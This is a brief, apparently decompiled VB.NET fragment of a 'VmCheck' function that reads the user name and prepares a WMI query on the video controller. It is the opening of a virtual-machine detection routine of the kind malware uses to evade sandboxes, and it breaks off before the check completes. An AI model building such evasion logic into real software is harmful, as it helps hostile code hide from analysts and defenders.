Function VmCheck() As Boolean
Dim str20 As String = Environment.UserName
Dim enumerator As IEnumerator
Dim str19 As String = "SELECT * FROM Win32_VideoController"
Dim arguments As Object() = New Object() {str19}
Dim copyBack As Boolean() = New Boolean() {True}
If copyBack(0) Then
str19 = CStr(Microsoft.VisualBasic.CompilerServices.Conversions.ChangeType(System.Runtime.CompilerServices.RuntimeHelpers.GetObjectValue(arguments(0)), GetType(String)))
End If